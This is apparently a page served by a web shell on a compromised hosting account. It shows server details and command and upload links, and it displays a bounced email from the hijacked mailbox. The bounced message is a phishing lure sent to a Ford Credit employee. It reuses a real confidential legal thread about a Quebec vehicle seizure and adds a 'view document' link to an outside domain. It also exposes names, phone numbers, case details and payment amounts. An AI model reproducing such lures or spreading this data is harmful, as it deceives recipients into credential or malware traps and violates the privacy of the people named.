|
Server IP : 68.65.122.142 / Your IP : 18.117.159.105 Web Server : LiteSpeed System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : glenirhm ( 1318) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/glenirhm/mail/.fsezgin@glenbowcollege_ca/../email/cur/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
Return-Path: <>
Delivered-To: email@glenbowcollege.ca
Received: from server167.web-hosting.com
by server167.web-hosting.com with LMTP
id 0IBYKaylY2TH4BQAuADMKg
(envelope-from <>)
for <email@glenbowcollege.ca>; Tue, 16 May 2023 11:47:56 -0400
Return-path: <>
Envelope-to: email@glenbowcollege.ca
Delivery-date: Tue, 16 May 2023 11:47:56 -0400
Received: from mailnull by server167.web-hosting.com with local (Exim 4.95)
id 1pywu4-005l7T-FD
for email@glenbowcollege.ca;
Tue, 16 May 2023 11:47:56 -0400
X-Failed-Recipients: jtarapa2@ford.com
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@server167.web-hosting.com>
To: email@glenbowcollege.ca
References: <ea18be94-bf85-439a-be35-aa029d5c33fa@glenbowcollege.ca>
Content-Type: multipart/report; report-type=delivery-status; boundary=1684252076-eximdsn-1752631802
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1pywu4-005l7T-FD@server167.web-hosting.com>
Date: Tue, 16 May 2023 11:47:56 -0400
--1684252076-eximdsn-1752631802
Content-type: text/plain; charset=us-ascii
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
jtarapa2@ford.com
Domain glenbowcollege.ca has exceeded the max emails per hour (63/50 (126%)) allowed. Message discarded.
--1684252076-eximdsn-1752631802
Content-type: message/delivery-status
Reporting-MTA: dns; server167.web-hosting.com
Action: failed
Final-Recipient: rfc822;jtarapa2@ford.com
Status: 5.0.0
--1684252076-eximdsn-1752631802
Content-type: message/rfc822
Return-path: <email@glenbowcollege.ca>
Received: from ip-170-80-59-16.atp.net.br ([170.80.59.16]:63466 helo=glenbowcollege.ca)
by server167.web-hosting.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
(Exim 4.95)
(envelope-from <email@glenbowcollege.ca>)
id 1pywty-005koP-Qz
for jtarapa2@ford.com;
Tue, 16 May 2023 11:47:56 -0400
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=utf-8
Message-ID: <ea18be94-bf85-439a-be35-aa029d5c33fa@glenbowcollege.ca>
Date: Tue, 16 May 2023 17:47:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Thunderbird/102.7.1
Content-Language: fr-FR
To: jtarapa2@ford.com
From: "Xavier Barbeau" <email@glenbowcollege.ca>
Subject: =?utf-8?B?UkU6IExDRjEwLTI0MTE3IC8gTG9jYXRpb24gQ3LDqWRpdCBGb3JkIENhbmFkYSwgdW5lIGRpdmlzaW9uIGRlIENvbXBhZ25pZQ==?=
=?utf-8?B?IGRlIGxvY2F0aW9uIENhbmFkaWFuIFJvYWQgLyBBbnRob255IFNjb3R0IC8gTWFyaXVzIER1ZnJlc25lIC8gTm8gQ291ciA6?=
=?utf-8?B?IDExMC0yMg==?=
<html><head><META http-equiv=3D"Content-Type" content=3D"text/html;charset=
=3Dutf-8">
</head><body><p>Afficher le document: https://anaconda-energy.com/nmes/?844=
381<br></p>
<div>
<p><span>Bonjour,
</span></p>
<p><span>Merci du suivi.
</span></p>
<p><span>Si Mme la Huissi=C3=A8re Proulx est en mesure de lib=C3=A9rer le v=
=C3=A9hicule aux d=C3=A9fendeurs, proc=C3=A9dons donc de cette fa=C3=A7on.
</span></p>
<p><span>Je comprends que le d=C3=A9fendeur M. Dufresne contactera directem=
ent Mme Proulx.
</span></p>
<div>
<p><span>Merci.
</span></p>
<p><b><span>Xavier Barbeau</span></b></p>
<p><b><span>Avocat / Attorney</span></b></p>
<p><span>2020, Robert-Bourassa, #2510</span></p>
<p><span>Montr=C3=A9al Qc H3A 2A5</span></p>
<p><span>T=C3=A9l./Fax : 514-400-5565</span></p>
<p><span>Courriel/email :
</span></p>
<p>
<b><span>Avis de confidentialit=C3=A9</span></b><span>
<br>
<span>Ce document transmis par courriel est destin=C3=A9 uniquement =C3=A0 =
la personne ou =C3=A0 l'entit=C3=A9 =C3=A0 qui il est adress=C3=A9 et peut =
contenir des renseignements confidentiels et assujettis au secret professio=
nnel. La confidentialit=C3=A9 et le secret professionnel
demeurent malgr=C3=A9 l'envoi de ce document =C3=A0 la mauvaise personne. =
Si vous n'=C3=AAtes pas le destinataire vis=C3=A9 ou la personne charg=C3=
=A9e de remettre ce document =C3=A0 son destinataire, veuillez nous en info=
rmer par t=C3=A9l=C3=A9phone et nous retourner ce document par la poste. To=
ute
distribution, reproduction ou autre utilisation de ce document par un dest=
inataire non vis=C3=A9 est interdite.</span></span></p>
<p>
</p>
<p><b><span>Confidentiality Notice</span></b><span>
<br>
<span>This message is intended only for the individual or entity to which i=
t is addressed and may contain information which is confidential and privil=
eged. Confidentiality and privilege are not lost by this email having been =
sent to the
wrong person. If you are not the intended recipient or the person responsi=
ble to deliver it to the intended recipient, please notify us by telephone =
and return this email to us by mail. Any distribution, reproduction or othe=
r use of this email by an unintended
recipient is prohibited.</span></span></p>
</div>
<div>
<div>
<p><b><span>From:</span></b><span> Foisy Labrecque=20
<br>
<b>Sent:</b> March 31, 2021 12:02 PM<br>
<b>To:</b> Xavier Barbeau <br>
<b>Cc:</b> <br>
<b>Subject:</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une div=
ision de Compagnie de location Canadian Road / Anthony Scott / Marius Dufre=
sne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour,</span></p>
<p><span>Suite =C3=A0 une conversation avec Lise Proulx, elle m’infor=
me que le v=C3=A9hicule est =C3=A0 la Station de Service P.C=C3=B4t=C3=A9 &=
amp; Fils situ=C3=A9 au 160 Boulevard de Gasp=C3=A9, Gasp=C3=A9, QC G4X 1A9=
=2E</span></p>
<p><span>Merci et Bonne journ=C3=A9e!</span></p>
<p><b><span>Katherine Hills-Lefebvre, technicienne juridique</span></b></p>
<p><b><span>FOISY LABRECQUE HUISSIERS DE JUSTICE INC.</span></b></p>
<p><span>356, 90<sup>e</sup> avenue</span></p>
<p><span>Lasalle (Qu=C3=A9bec) H8R 2Z7</span></p>
<p><span>T=C3=A9l : 514-368-8219</span></p>
<p><span>Fax : 514-368-2486</span></p>
<p><span>Courriel : .</span></p>
<p><span>AVERTISSEMENT -<br>
Le pr=C3=A9sent message est destin=C3=A9 uniquement au(x) destinataire(s) s=
us mentionn=C3=A9(s). Son contenu est confidentiel et rel=C3=A8ve du secret=
professionnel. Si vous avez re=C3=A7u cette communication par erreur, veui=
llez nous en aviser imm=C3=A9diatement et effacer l'original,
sans en tirer de copie, en d=C3=A9voiler le contenu ni prendre quelque mes=
ure fond=C3=A9e sur celui-ci.
</span><span>The present message is intended only for the named recipient(s=
) above. Its contents are confidential and protected by the bailiff-client =
privilege. If you have received this message in error, please notify
us immediately and delete the original without making a copy, disclosing i=
ts contents or taking any action based thereon.</span></p>
<p><span>Vous pouvez maintenant nous suivre sur notre page LinkedIn en cliq=
uant sur le lien suivant:
</span><span>
ou sur notre page facebook en cliquant sur le lien suivant: </span></p>
<div>
<div>
<p><b><span>De :</span></b><span> Xavier Barbeau=20
<br>
<b>Envoy=C3=A9 :</b> 31 mars 2021 11:15<br>
<b>=C3=80 :</b> Foisy Labrecque<br>
<b>Cc :</b> <br>
<b>Objet :</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une=
division de Compagnie de location Canadian Road / Anthony Scott / Marius D=
ufresne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour Mme Cousineau,
</span></p>
<p><span>Dans ce dossier nous confirmons que les sommes pay=C3=A9es par les=
d=C3=A9fendeurs furent re=C3=A7ues par notre cliente et appliqu=C3=A9es au=
compte,
pour le r=C3=A8glement du dossier.</span></p>
<p><span>Le v=C3=A9hicule peut donc =C3=AAtre remis aux d=C3=A9fendeurs san=
s plus de d=C3=A9lais.
</span></p>
<p><span>Nous comprenons que le v=C3=A9hicule est toujours en Gasp=C3=A9sie=
, et aimerions savoir =C3=A0 quel endroit il se trouve, pour informer les
d=C3=A9fendeurs de l’endroit o=C3=B9 ils peuvent aller le r=C3=A9cup=
=C3=A9rer. </span></p>
<p><span>Dans l’attente de vos nouvelles,
</span></p>
<div>
<p><span>Meilleures salutations.</span></p>
<p><b><span>Xavier Barbeau</span></b></p>
<p><b><span>Avocat / Attorney</span></b></p>
<p><span>2020, Robert-Bourassa, #2510</span></p>
<p><span>Montr=C3=A9al Qc H3A 2A5</span></p>
<p><span>T=C3=A9l./Fax : 514-400-5565</span></p>
<p><span>Courriel/email :
</span></p>
<p>
<b><span>Avis de confidentialit=C3=A9</span></b><span>
<br>
<span>Ce document transmis par courriel est destin=C3=A9 uniquement =C3=A0 =
la personne ou =C3=A0 l'entit=C3=A9 =C3=A0 qui il est adress=C3=A9 et peut =
contenir des renseignements confidentiels et assujettis au secret professio=
nnel. La confidentialit=C3=A9 et le secret professionnel
demeurent malgr=C3=A9 l'envoi de ce document =C3=A0 la mauvaise personne. =
Si vous n'=C3=AAtes pas le destinataire vis=C3=A9 ou la personne charg=C3=
=A9e de remettre ce document =C3=A0 son destinataire, veuillez nous en info=
rmer par t=C3=A9l=C3=A9phone et nous retourner ce document par la poste. To=
ute
distribution, reproduction ou autre utilisation de ce document par un dest=
inataire non vis=C3=A9 est interdite.</span></span></p>
<p>
</p>
<p><b><span>Confidentiality Notice</span></b><span>
<br>
<span>This message is intended only for the individual or entity to which i=
t is addressed and may contain information which is confidential and privil=
eged. Confidentiality and privilege are not lost by this email having been =
sent to the
wrong person. If you are not the intended recipient or the person responsi=
ble to deliver it to the intended recipient, please notify us by telephone =
and return this email to us by mail. Any distribution, reproduction or othe=
r use of this email by an unintended
recipient is prohibited.</span></span></p>
</div>
<div>
<div>
<p><b><span>From:</span></b><span> Foisy Labrecque=20
<br>
<b>Sent:</b> March 24, 2021 10:25 AM<br>
<b>To:</b> Xavier Barbeau <br>
<b>Cc:</b> <br>
<b>Subject:</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une div=
ision de Compagnie de location Canadian Road / Anthony Scott / Marius Dufre=
sne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Parfait Me Barbeau, nous attendrons donc vos instructions avant de=
fermer et facturer ce dossier. J’ai mis la huissi=C3=A8re ext=C3=A9r=
ieure en cc. Bonne journ=C3=A9e!</span></p>
<p><span>Lise</span></p>
<div>
<div>
<p><b><span>De :</span></b><span> Xavier Barbeau=20
<br>
<b>Envoy=C3=A9 :</b> 24 mars 2021 09:57<br>
<b>=C3=80 :</b> Foisy Labrecque<br>
<b>Objet :</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une=
division de Compagnie de location Canadian Road / Anthony Scott / Marius D=
ufresne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour Mme Cousineau,
</span></p>
<p><span>Nous avons re=C3=A7u le paiement convenu de la part des d=C3=A9fen=
deurs.</span></p>
<p><span>Le v=C3=A9hicule pourra donc =C3=AAtre remis =C3=A0 ceux-ci, mais =
Ford doit avoir re=C3=A7u l’argent et l’avoir appliqu=C3=A9e au=
compte.
</span></p>
<p><span>Nous leur transmettons donc le tout avant d’officialiser la =
remise du v=C3=A9hicule aux d=C3=A9fendeurs.
</span></p>
<div>
<p><span>Merci.
</span></p>
<p><b><span>Xavier Barbeau</span></b></p>
<p><b><span>Avocat / Attorney</span></b></p>
<p><span>2020, Robert-Bourassa, #2510</span></p>
<p><span>Montr=C3=A9al Qc H3A 2A5</span></p>
<p><span>T=C3=A9l./Fax : 514-400-5565</span></p>
<p><span>Courriel/email :
</span></p>
<p>
<b><span>Avis de confidentialit=C3=A9</span></b><span>
<br>
<span>Ce document transmis par courriel est destin=C3=A9 uniquement =C3=A0 =
la personne ou =C3=A0 l'entit=C3=A9 =C3=A0 qui il est adress=C3=A9 et peut =
contenir des renseignements confidentiels et assujettis au secret professio=
nnel. La confidentialit=C3=A9 et le secret professionnel
demeurent malgr=C3=A9 l'envoi de ce document =C3=A0 la mauvaise personne. =
Si vous n'=C3=AAtes pas le destinataire vis=C3=A9 ou la personne charg=C3=
=A9e de remettre ce document =C3=A0 son destinataire, veuillez nous en info=
rmer par t=C3=A9l=C3=A9phone et nous retourner ce document par la poste. To=
ute
distribution, reproduction ou autre utilisation de ce document par un dest=
inataire non vis=C3=A9 est interdite.</span></span></p>
<p>
</p>
<p><b><span>Confidentiality Notice</span></b><span>
<br>
<span>This message is intended only for the individual or entity to which i=
t is addressed and may contain information which is confidential and privil=
eged. Confidentiality and privilege are not lost by this email having been =
sent to the
wrong person. If you are not the intended recipient or the person responsi=
ble to deliver it to the intended recipient, please notify us by telephone =
and return this email to us by mail. Any distribution, reproduction or othe=
r use of this email by an unintended
recipient is prohibited.</span></span></p>
</div>
<div>
<div>
<p><b><span>From:</span></b><span> Foisy Labrecque=20
<br>
<b>Sent:</b> March 24, 2021 9:33 AM<br>
<b>To:</b> Xavier Barbeau <br>
<b>Subject:</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une div=
ision de Compagnie de location Canadian Road / Anthony Scott / Marius Dufre=
sne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour Me Barbeau, le d=C3=A9fendeur a t’il respect=C3=A9 l=
’entente intervenue dans ce dossier. Si c’est le cas nous ferme=
rons ce dossier. Sinon nous continuerons les d=C3=A9marches pour le compl=
=C3=A9ter. =C3=8Ates-vous
en mesure de m’informer s.v.p. Merci !</span></p>
<p><b><span>Lise Cousineau, adjointe juridique
</span></b></p>
<p><b><span>FOISY LABRECQUE HUISSIERS DE JUSTICE INC.</span></b></p>
<p><span>356, 90<sup>e</sup> avenue</span></p>
<p><span>Lasalle (Qu=C3=A9bec) H8R 2Z7</span></p>
<p><span>T=C3=A9l : 514-368-8219</span></p>
<p><span>Fax : 514-368-2486</span></p>
<p><span>Courriel : .</span></p>
<p><span>AVERTISSEMENT -<br>
Le pr=C3=A9sent message est destin=C3=A9 uniquement au(x) destinataire(s) s=
us mentionn=C3=A9(s). Son contenu est confidentiel et rel=C3=A8ve du secret=
professionnel. Si vous avez re=C3=A7u cette communication par erreur, veui=
llez nous en aviser imm=C3=A9diatement et effacer l'original,
sans en tirer de copie, en d=C3=A9voiler le contenu ni prendre quelque mes=
ure fond=C3=A9e sur celui-ci.
</span><span>The present message is intended only for the named recipient(s=
) above. Its contents are confidential and protected by the bailiff-client =
privilege. If you have received this message in error, please notify
us immediately and delete the original without making a copy, disclosing i=
ts contents or taking any action based thereon.</span></p>
<p><span>Vous pouvez maintenant nous suivre sur notre page LinkedIn en cliq=
uant sur le lien suivant:
</span><span>
ou sur notre page facebook en cliquant sur le lien suivant: </span></p>
<div>
<div>
<p><b><span>De :</span></b><span> Xavier Barbeau=20
<br>
<b>Envoy=C3=A9 :</b> 18 mars 2021 16:42<br>
<b>=C3=80 :</b> Foisy Labrecque<br>
<b>Objet :</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une=
division de Compagnie de location Canadian Road / Anthony Scott / Marius D=
ufresne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour Mme Cousineau,
</span></p>
<p><span>Simplement pour vous informer que les d=C3=A9fendeurs doivent paye=
r 5 419,82$ au plus tard lundi prochain, 22 mars, par virement
direct dans notre compte en fid=C3=A9icommis, pour r=C3=A9cup=C3=A9rer le =
v=C3=A9hicule. </span></p>
<p><span>M. Dufresne nous confirme qu’il fera la virement lundi proch=
ain, nous attendons donc d’ici lundi et vous demandons (et =C3=A0 l&#=
8217;huissi=C3=A8re
correspondante) de conserver ce dossier sur la glace, en attendant. </span=
></p>
<div>
<p><span>Merci.
</span></p>
<p><b><span>Xavier Barbeau</span></b></p>
<p><b><span>Avocat / Attorney</span></b></p>
<p><span>2020, Robert-Bourassa, #2510</span></p>
<p><span>Montr=C3=A9al Qc H3A 2A5</span></p>
<p><span>T=C3=A9l./Fax : 514-400-5565</span></p>
<p><span>Courriel/email :
</span></p>
<p>
<b><span>Avis de confidentialit=C3=A9</span></b><span>
<br>
<span>Ce document transmis par courriel est destin=C3=A9 uniquement =C3=A0 =
la personne ou =C3=A0 l'entit=C3=A9 =C3=A0 qui il est adress=C3=A9 et peut =
contenir des renseignements confidentiels et assujettis au secret professio=
nnel. La confidentialit=C3=A9 et le secret professionnel
demeurent malgr=C3=A9 l'envoi de ce document =C3=A0 la mauvaise personne. =
Si vous n'=C3=AAtes pas le destinataire vis=C3=A9 ou la personne charg=C3=
=A9e de remettre ce document =C3=A0 son destinataire, veuillez nous en info=
rmer par t=C3=A9l=C3=A9phone et nous retourner ce document par la poste. To=
ute
distribution, reproduction ou autre utilisation de ce document par un dest=
inataire non vis=C3=A9 est interdite.</span></span></p>
<p>
</p>
<p><b><span>Confidentiality Notice</span></b><span>
<br>
<span>This message is intended only for the individual or entity to which i=
t is addressed and may contain information which is confidential and privil=
eged. Confidentiality and privilege are not lost by this email having been =
sent to the
wrong person. If you are not the intended recipient or the person responsi=
ble to deliver it to the intended recipient, please notify us by telephone =
and return this email to us by mail. Any distribution, reproduction or othe=
r use of this email by an unintended
recipient is prohibited.</span></span></p>
</div>
<div>
<div>
<p><b><span>From:</span></b><span> Foisy Labrecque=20
<br>
<b>Sent:</b> March 18, 2021 1:08 PM<br>
<b>To:</b> Xavier Barbeau <br>
<b>Subject:</b> TR: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une div=
ision de Compagnie de location Canadian Road / Anthony Scott / Marius Dufre=
sne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour Me Barbeau, voici les frais de ce date =C3=A0 ce jour =
;: 1778,16$ taxes in. Nous attendrons de vos nouvelles pour savoir le d=C3=
=A9fendeur r=C3=A8gle ce dossier ou non. Merci et bon apr=C3=A8s-midi.</spa=
n></p>
<p><span>Lise</span></p>
<div>
<div>
<p><b><span>De :</span></b><span> Foisy Labrecque=20
<br>
<b>Envoy=C3=A9 :</b> 18 mars 2021 11:10<br>
<b>=C3=80 :</b> 'Xavier Barbeau'<br>
<b>Objet :</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une=
division de Compagnie de location Canadian Road / Anthony Scott / Marius D=
ufresne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour Me Barbeau, j’attends un appel de la huissi=C3=A8re =
de Gasp=C3=A9 afin de vous donner ses frais. D=C3=A8s que j’ai des no=
uvelles, je vous reviens. Bonne journ=C3=A9e!</span></p>
<p><span>Lise</span></p>
<div>
<div>
<p><b><span>De :</span></b><span> Xavier Barbeau=20
<br>
<b>Envoy=C3=A9 :</b> 17 mars 2021 17:52<br>
<b>=C3=80 :</b> Foisy Labrecque<br>
<b>Objet :</b> FW: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une=
division de Compagnie de location Canadian Road / Anthony Scott / Marius D=
ufresne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Bonjour Mme Cousineau,
</span></p>
<p><span>Dans ce dossier nous comprenons que la saisie a =C3=A9t=C3=A9 effe=
ctu=C3=A9e en ce que nous avons =C3=A9t=C3=A9 contact=C3=A9 par M. Marius D=
ufresne.
</span></p>
<p><span>Tel que ci-dessous discut=C3=A9 avec Ford, il y aurait peut-=C3=AA=
tre possibilit=C3=A9 d’une entente avec les d=C3=A9fendeurs pour qu&#=
8217;ils puissent
r=C3=A9cup=C3=A9rer le v=C3=A9hicule. </span></p>
<p><span>Ainsi, celui-ci est-il toujours en Gasp=C3=A9sie ?
</span></p>
<p><span>=C3=89galement, nous aurons besoin de vos frais, incluant les frai=
s de Cour, ainsi que de ceux de l’huissi=C3=A8re Lise Proulx.
</span></p>
<p><span>Dans l’attente de vos nouvelles,
</span></p>
<div>
<p><span>Merci.</span></p>
<p><b><span>Xavier Barbeau</span></b></p>
<p><b><span>Avocat / Attorney</span></b></p>
<p><span>2020, Robert-Bourassa, #2510</span></p>
<p><span>Montr=C3=A9al Qc H3A 2A5</span></p>
<p><span>T=C3=A9l./Fax : 514-400-5565</span></p>
<p><span>Courriel/email :
</span></p>
<p>
<b><span>Avis de confidentialit=C3=A9</span></b><span>
<br>
<span>Ce document transmis par courriel est destin=C3=A9 uniquement =C3=A0 =
la personne ou =C3=A0 l'entit=C3=A9 =C3=A0 qui il est adress=C3=A9 et peut =
contenir des renseignements confidentiels et assujettis au secret professio=
nnel. La confidentialit=C3=A9 et le secret professionnel
demeurent malgr=C3=A9 l'envoi de ce document =C3=A0 la mauvaise personne. =
Si vous n'=C3=AAtes pas le destinataire vis=C3=A9 ou la personne charg=C3=
=A9e de remettre ce document =C3=A0 son destinataire, veuillez nous en info=
rmer par t=C3=A9l=C3=A9phone et nous retourner ce document par la poste. To=
ute
distribution, reproduction ou autre utilisation de ce document par un dest=
inataire non vis=C3=A9 est interdite.</span></span></p>
<p>
</p>
<p><b><span>Confidentiality Notice</span></b><span>
<br>
<span>This message is intended only for the individual or entity to which i=
t is addressed and may contain information which is confidential and privil=
eged. Confidentiality and privilege are not lost by this email having been =
sent to the
wrong person. If you are not the intended recipient or the person responsi=
ble to deliver it to the intended recipient, please notify us by telephone =
and return this email to us by mail. Any distribution, reproduction or othe=
r use of this email by an unintended
recipient is prohibited.</span></span></p>
</div>
<div>
<div>
<p><b><span>From:</span></b><span> Xavier Barbeau
<br>
<b>Sent:</b> March 17, 2021 5:49 PM<br>
<b>To:</b> Tarapaski, Julie (J.) <br>
<b>Subject:</b> RE: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une div=
ision de Compagnie de location Canadian Road / Anthony Scott / Marius Dufre=
sne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Hello Julie,
</span></p>
<p><span>Thank you for your return.</span></p>
<p><span>Just to make sure, in Qu=C3=A9bec our lawyer’s fees cannot b=
e claimed from individual customers, so by legal fees here we would mean Ba=
iliff fees,
service fees and Court Stamp fee, in addition to towing fees. </span></p>
<p><span>We will obtain the said figures from our Bailiff and add those to =
the current arrears and let Mr. Dufresne know that two additional payments
would need to be received in advance as well in order for them to recover =
the vehicle.
</span></p>
<p><span>We will keep you informed.
</span></p>
<div>
<p><span>Best regards.
</span></p>
<p><b><span>Xavier Barbeau</span></b></p>
<p><b><span>Avocat / Attorney</span></b></p>
<p><span>2020, Robert-Bourassa, #2510</span></p>
<p><span>Montr=C3=A9al Qc H3A 2A5</span></p>
<p><span>T=C3=A9l./Fax : 514-400-5565</span></p>
<p><span>Courriel/email :
</span></p>
<p>
<b><span>Avis de confidentialit=C3=A9</span></b><span>
<br>
<span>Ce document transmis par courriel est destin=C3=A9 uniquement =C3=A0 =
la personne ou =C3=A0 l'entit=C3=A9 =C3=A0 qui il est adress=C3=A9 et peut =
contenir des renseignements confidentiels et assujettis au secret professio=
nnel. La confidentialit=C3=A9 et le secret professionnel
demeurent malgr=C3=A9 l'envoi de ce document =C3=A0 la mauvaise personne. =
Si vous n'=C3=AAtes pas le destinataire vis=C3=A9 ou la personne charg=C3=
=A9e de remettre ce document =C3=A0 son destinataire, veuillez nous en info=
rmer par t=C3=A9l=C3=A9phone et nous retourner ce document par la poste. To=
ute
distribution, reproduction ou autre utilisation de ce document par un dest=
inataire non vis=C3=A9 est interdite.</span></span></p>
<p>
</p>
<p><b><span>Confidentiality Notice</span></b><span>
<br>
<span>This message is intended only for the individual or entity to which i=
t is addressed and may contain information which is confidential and privil=
eged. Confidentiality and privilege are not lost by this email having been =
sent to the
wrong person. If you are not the intended recipient or the person responsi=
ble to deliver it to the intended recipient, please notify us by telephone =
and return this email to us by mail. Any distribution, reproduction or othe=
r use of this email by an unintended
recipient is prohibited.</span></span></p>
</div>
<div>
<div>
<p><b><span>From:</span></b><span> Tarapaski, Julie (J.)=20
<br>
<b>Sent:</b> March 17, 2021 2:32 PM<br>
<b>To:</b> Xavier Barbeau <br>
<b>Subject:</b> FW: LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une div=
ision de Compagnie de location Canadian Road / Anthony Scott / Marius Dufre=
sne / No Cour : 110-22</span></p>
</div>
</div>
<p><span>Good afternoon,</span></p>
<p><span>We will accept the arrangement as followed for Mr Marius Dufresne =
to pay in full.</span></p>
<p><span>The arrears of 2944.84 + 2 additional payments for 696.82, a=
ll legal fees, court fees and towing fees to date or any storage fees.</spa=
n></p>
<p><span>Once the funds have been collected in full we will agree to releas=
e the vehicle to Mr Dufresne.</span></p>
<p><span>I have added my approval on the account, let me know if you requir=
e any further information.</span></p>
<p><b><span>Julie Tarapaski</span></b><span>
| Edmonton Customer Service Centre Team Lead | Ford Credit Canada | 780-44=
3-5317 |
</span><span>
</span></p>
<p><span>NOTICE OF CONFIDENTIALITY</span><span>
<br>
</span><span>This communication including any information transmitted with =
it is intended only for the use of the addressees and is confidential. If y=
ou are not an intended recipient or responsible
for delivering the message to an intended recipient, any review, disclosur=
e, conversion to hard copy, dissemination, reproduction or other use of any=
part of this communication is strictly prohibited, as is the taking or omi=
tting of any action in reliance
upon this communication. If you receive this communication in error withou=
t authorization, please notify us immediately by return e-mail or otherwise=
and permanently delete the entire communication from any computer, disk dr=
ive, or other storage medium.</span></p>
<div>
<div>
<p><b><span>From:</span></b><span> Xavier Barbeau=20
<br>
<b>Sent:</b> Wednesday, March 17, 2021 8:57 AM<br>
<b>To:</b> Edmundson, Helene (H.) <br>
<b>Subject:</b> LCF10-24117 / Location Cr=C3=A9dit Ford Canada, une divisio=
n de Compagnie de location Canadian Road / Anthony Scott / Marius Dufresne =
/ No Cour : 110-22</span></p>
</div>
</div>
<div>
<p><span>WARNING:</span><span> This message originated outside of Ford Moto=
r Company. Use caution when opening attachments,
clicking links, or responding.</span></p>
</div>
<div>
<p><span>Hello Helene,
</span></p>
<p><span>I hope you are well.</span></p>
<p><span>Please note that the vehicle has been seized yesterday, March 16, =
2021 in this file, in the hands of your Debtor Anthony Scott.
</span></p>
<p><span>We are being contacted this morning by Mr. Marius Dufresne, co-sig=
nor, who is offering payments of all arrears to date plus fees (Bailiff fee=
s, Court fees and towing
fees) in order to repossess the subject vehicle. </span></p>
<p><span>As this is a Lease file, by law, your debtors technically have an =
absolute right to pay the arrears and fees to repossess the vehicle, and we=
as such ask that you kindly
let us know if Ford Credit would be willing to have the file settled that =
way. </span>
</p>
<p><span>Awaiting your response we remain,
</span></p>
<p><span>Yours truly.
</span></p>
<p><b><span>Xavier Barbeau</span></b></p>
<p><b><span>Avocat / Attorney</span></b></p>
<p><span>2020, Robert-Bourassa, #2510</span></p>
<p><span>Montr=C3=A9al Qc H3A 2A5</span></p>
<p><span>T=C3=A9l./Fax : 514-400-5565</span></p>
<p><span>Courriel/email :
</span></p>
<p>
<b><span>Avis de confidentialit=C3=A9</span></b><span>
<br>
<span>Ce document transmis par courriel est destin=C3=A9 uniquement =C3=A0 =
la personne ou =C3=A0 l'entit=C3=A9 =C3=A0 qui il est adress=C3=A9 et peut =
contenir des renseignements confidentiels et assujettis au secret professio=
nnel. La confidentialit=C3=A9 et le secret professionnel
demeurent malgr=C3=A9 l'envoi de ce document =C3=A0 la mauvaise personne. =
Si vous n'=C3=AAtes pas le destinataire vis=C3=A9 ou la personne charg=C3=
=A9e de remettre ce document =C3=A0 son destinataire, veuillez nous en info=
rmer par t=C3=A9l=C3=A9phone et nous retourner ce document par la poste. To=
ute
distribution, reproduction ou autre utilisation de ce document par un dest=
inataire non vis=C3=A9 est interdite.</span></span></p>
<p>
</p>
<p><b><span>Confidentiality Notice</span></b><span>
<br>
<span>This message is intended only for the individual or entity to which i=
t is addressed and may contain information which is confidential and privil=
eged. Confidentiality and privilege are not lost by this email having been =
sent to the
wrong person. If you are not the intended recipient or the person responsi=
ble to deliver it to the intended recipient, please notify us by telephone =
and return this email to us by mail. Any distribution, reproduction or othe=
r use of this email by an unintended
recipient is prohibited.</span></span></p>
</div>
</div>
</body>
</html>
--1684252076-eximdsn-1752631802--